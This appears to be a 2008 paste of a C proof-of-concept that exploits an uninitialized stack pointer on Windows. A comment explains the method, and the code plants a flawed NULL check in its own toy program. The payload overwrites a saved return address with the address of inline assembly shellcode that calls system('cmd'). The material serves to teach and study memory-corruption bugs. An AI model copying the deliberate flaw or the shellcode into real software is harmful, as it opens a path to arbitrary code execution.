All pastes #914513 Raw Edit

Mine

public text v1 · immutable
·published 2008-02-22 23:00 UTC
rendered paste body
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

// Uninitialized Data to Shellcode Execution theory
// Proof of Concept.

// (c) Grayscale Research 2008


/*

Method Theory:  

From main();
Uninitialized data can be triggered into use at times by NULL function
returns that are poorly checked.  In the case of this example exploit code
a linked list creation function is tricked into returning NULL by providing
an overly long simulated argv[1] vector which is bigger then the size of a
linked lists data buffer.

The next function is then called which is supposed to refill the content of the data[]
buffer in our linked list.  The problem however is that the stack variable is not
assigned if the pointer passed is null, the programmer automatically assumes that its
null because of the faulty NULL check which does not return.

Because of placement on the stack (which can be adjusted in many ways) the uninitialized
pointer contains an previously set address, further down the stack.  When that address
is passed to memcpy() we are able to write 20 bytes, which effectively overwrites a 
EIP control pointer with the address of our shellcode.


Result:
(C) Copyright 1985-2001 Microsoft Corp.

c:\Documents and Settings\eightbox\My Documents\Visual Studio 2005\Projects\QSSE
_Day1_UnInitialized_Data_Xplt\QSSE_Day1_UnInitialized_Data_Xplt>

*/

// simple shellcode stored inline, this payload could be in a buffer or anywhere really
// but for the sake of this example its stored inline as a function.

// Action: system("cmd");

void shellcode(){
	__asm{
		push 0x00646d63 // cmd
		push esp	

		push system		// call system
			pop eax
			call eax

		pop eax // remove cmd
	}
}


// this is a simple linked list used in the function below
typedef struct _LINKED_DATA {

	// data pointer for our linked list
	char data[512];

	struct _UNLINK_DATA * first;
	struct _UNLINK_DATA * prev;
	struct _UNLINK_DATA * next;

} LINKED_DATA, *P_LINKED_DATA;



// ----------------- FUNCTION PROTOTYPES (declarations) --------

// creates a new data list from user data
P_LINKED_DATA CreateNewListFromUserData(char *data, unsigned int len);

// will take an existing linked list, and refill the data parameter
// buffer cannot be bigger then the size of of the linked list data buffer
// (512 bytes) which makes an overflow impossible.
unsigned int FillDataList(P_LINKED_DATA unlinkPtr, char *data, unsigned int len);




// ----------------------- FUNCTION DEFINITIONS ----------------

// This function is bugged, because it returns a null pointer
// if the passed string is greater then 512 bytes.  The 
// null return is what we use to actually trigger an exploitable
// condition.
P_LINKED_DATA CreateNewListFromUserData(char *data, unsigned int len){

	// arbitrary local stack buffer that we will fill with data
	char userBuff[1024];

	// copy in data userdata for comparisson
	memcpy((void *) userBuff, (void *) data, len);

	// Return NULL if the user string is too long for datalist buffer
	if(strnlen(userBuff, 1024) > 512){

		printf("\n String is too long, returning NULL.");
		return NULL;

	} else {

		// in our exploit scenario this is not actually executed
		// at all.  This code is to demonstrate what the developer
		// thinks when designing slightly flawwed applications.
		printf("\n String was not long enough to trigger NULL ret, returning valid structure.");
		P_LINKED_DATA retList = (P_LINKED_DATA) malloc(sizeof(LINKED_DATA));
	}

	// the function automatically removes the local variables from the
	// stack on exit, but it does not uninitialize them.  It simply
	// adds to the ESP register to simulate shrinking the stack.
	return NULL;
}



// refills a linked list element with new data
unsigned int FillDataList(P_LINKED_DATA unlinkPtr, char *data, int len){

	// linked list temporary element that is 
	// not initialized.
	
	P_LINKED_DATA tempParam;
	P_LINKED_DATA tempParam2;
	P_LINKED_DATA tempParam3;
	P_LINKED_DATA tempParam4;
	P_LINKED_DATA tempParam5;
	P_LINKED_DATA tempParam6;
	P_LINKED_DATA tempParam7;
	P_LINKED_DATA tempParam8;
	P_LINKED_DATA tempParam9;
	P_LINKED_DATA tempParam10;
	P_LINKED_DATA tempParam11;

	printf("\n pushed onto stack at: %p", &tempParam);
	printf("\n pushed onto stack at: %p", &tempParam2);
	printf("\n pushed onto stack at: %p", &tempParam3);
	printf("\n pushed onto stack at: %p", &tempParam4);
	printf("\n pushed onto stack at: %p", &tempParam5);
	printf("\n pushed onto stack at: %p", &tempParam6);
	printf("\n pushed onto stack at: %p", &tempParam7);
	printf("\n pushed onto stack at: %p", &tempParam8);
	printf("\n pushed onto stack at: %p", &tempParam9);
	printf("\n pushed onto stack at: %p", &tempParam10);
	printf("\n pushed onto stack at: %p", &tempParam11);

	P_LINKED_DATA tempParam12;
	printf("\n pushed onto stack at: %p", &tempParam12);
	
	P_LINKED_DATA tempParam13;
	printf("\n pushed onto stack at: %p", &tempParam13);


	printf("\n Value of Temp Param: %p", tempParam);
	printf("\n Dereference of Temp Param: %p", &tempParam);
	printf("\n Temp Param Data: %p", tempParam->data);

	printf("\n Address of Shellcode: %p", shellcode);

	// assign our uninitialized pointer
	if(unlinkPtr != NULL){
		printf("\n Unlink Pointer wasn't NULL: Allocation Successful (non-exploit path)");
		tempParam = unlinkPtr;
	}
	
	// unlink the linked list if its not null
	if(tempParam != NULL){

		// enable these asm break points if you want to debug
		// the overwrite.

		// __asm{int 3}
		
		// refill the buffer if our temporary parameter is null
		memcpy(tempParam->data, data, len);	

		printf("\n Stopped After refilling the buffer");
		// __asm{int 3}
		
	}


	return 0;
}


// Main Entry Point
int main(int argc, char **argv){

	// new list pointer
	P_LINKED_DATA newList;
	
	// simulated argv pointer
	char *simArgv = (char *) malloc(1025);
		memset(simArgv, 0x00, 1025);
		memset(simArgv, 0x41414141, 1024/4);
	

	// if we have an argument create a new list from the user data
	if(simArgv != NULL){

		// create a new data list from our simulated user argument vector
		newList = CreateNewListFromUserData(simArgv, strnlen(simArgv, 1023));
		
		// refill the data list with 20 bytes of arbitrary data
		FillDataList(newList, "BBBBBBBBBBBBBBBB\x00\x10\x40\x00\0", 20);

	}
	

	return 0;
}